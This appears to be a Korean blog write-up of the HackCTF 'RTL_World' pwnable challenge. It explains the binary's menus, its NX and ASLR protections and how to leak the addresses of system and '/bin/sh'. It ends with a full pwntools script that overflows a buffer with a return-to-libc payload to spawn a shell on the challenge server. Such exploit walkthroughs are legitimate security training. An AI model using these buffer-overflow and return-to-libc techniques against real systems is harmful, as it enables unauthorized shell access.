Pwnable/HackCTF

RTL_World

2020. 8. 28. 18:03

 

main함수의 모습이다. 메뉴를 선택받고 그 메뉴를 실행한다.

 

Menu 함수의 모습이다. 보스의 바이너리 정보 돈 만들기 등등이 있다.

 

2번 메뉴인 Get_Money 함수이다. 이것으로 돈을 획득할 수 있을 것 같다.

제일 먼저 이 바이너리의 정보를 확인하여보자.

 

NX와 ASLR 기법이 적용되어있다. ASLR 기법이 적용되어 있다면 프로세스마다 스택의 주소값이 랜덤 맵핑되기 때문에 한번의 실행에서 모든 것을 수행해야 주소값이 바뀌는 것을 막을 수 있다.

 

자 이제 문제를 어떻게 해결할 것인지 알아보자. 우선 RTL chaning을 이용해야 하므로 이에 필요한 함수들의 주소값을 먼저 구해야 할 것이다.

 

3번과 4번 메뉴를 이용하여 system 함수와 "/bin/sh" 문자열의 주소를 얻을 수 있다. 하지만 그 전에 돈이 있어야 하기 때문에 우선적으로 2번 메뉴를 이용하여 돈을 얻어야 한다. Get_Money 함수를 보면 2번 메뉴에서 다시 4번을 선택하면 rand() 함수를 이용하여 얻은 정수값을 gold 라는 변수에, 즉 돈에 추가된다. 귀찮게 1, 2, 3번으로 힘들게 돈벌지 않고 4번을 이용하여 한번에 떼존을 벌면 된다.

 

이제 돈이 생겼으니 장비들(system 함수와 "/bin/sh" 문자열의 주소)을 얻으러 가자. 단순하게 system 함수와 "/bin/sh" 문자열의 주소를 출력해주는 메뉴들이다. 이제 이들을 이용하여 payload를 짜보자.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3010)

#make money
r.recvuntil(">>> ")
r.sendline("2")
r.recvuntil(">>> ")
r.sendline("4")

#Get System
r.recvuntil(">>> ")
r.sendline("3")
r.recvuntil(": ")
system = int(r.recv(10), 16)

#Get "/bin/sh"
r.recvuntil(">>> ")
r.sendline("4")
r.recvuntil(": ")
shell = int(r.recv(10), 16)

#exploit
r.recvuntil(">>> ")
r.sendline("5")

payload = "\x90"*144
payload += p32(system)
payload += "\x90"*4
payload += p32(shell)

r.recvuntil("> ")

r.send(payload)
r.interactive()

저작자표시 (새창열림)

'Pwnable > HackCTF' 카테고리의 다른 글

x64 Buffer Overflow  (0) 2020.08.28
ROP  (0) 2020.08.28
BOF_PIE  (0) 2020.08.28
Offset  (0) 2020.08.28
내 버퍼가 흘러넘친다!!!  (0) 2020.08.28
'Pwnable/HackCTF' 카테고리의 다른 글
  • x64 Buffer Overflow
  • ROP
  • BOF_PIE
  • Offset
Lucvs
Lucvs
Department of Computer Science and Engineering, 21th, Sungkyunkwan University
Lucvs
Lucvs
Lucvs
전체
오늘
어제
  • 분류 전체보기
    • Lucvs
      • 훈련소 일기
      • 寿司
      • 영국 여행기
    • Pwnable
      • Techniques
      • FTZ
      • LOB
      • HackCTF
      • Dreamhack
      • pwnable.kr
      • CTF
    • Web Hacking
      • Techniques
      • Webhacking.kr
      • HackCTF
      • Dreamhack
      • LOS
    • Reversing
      • Dreamhack
    • Cryptography
      • Modern Cryptography
      • Algorithm
      • Differential Attack (차분 공격)
      • Linear Attack (선형 공격)
    • Forensic
      • Dreamhack
    • Programming
      • C
      • Python
      • Java
    • Deep Learning
    • Network
    • Project
    • Hardware
      • Raspberry Pi
      • Arduino

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 드림핵
  • blind sql injection
  • dreamhack.io
  • lord of sql injection
  • 공군
  • SQL INJECTION
  • dreamhack
  • 잉글랜드
  • 차분 분석
  • 효전화
  • 군대 일기
  • Los
  • 영국
  • 런던
  • 차분 공격
  • 공군 훈련소
  • Lord of SQL Injeciton
  • 웹해킹
  • 여행기
  • rev-basic
  • 일기
  • 훈련소
  • 훈련소 일기
  • 군대
  • J
  • Differential Attack
  • Error-Based SQL Injection
  • 기본군사훈련단
  • 기훈단
  • Web Hacking

최근 댓글

최근 글

hELLO · Designed By 정상우.
Lucvs
RTL_World
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.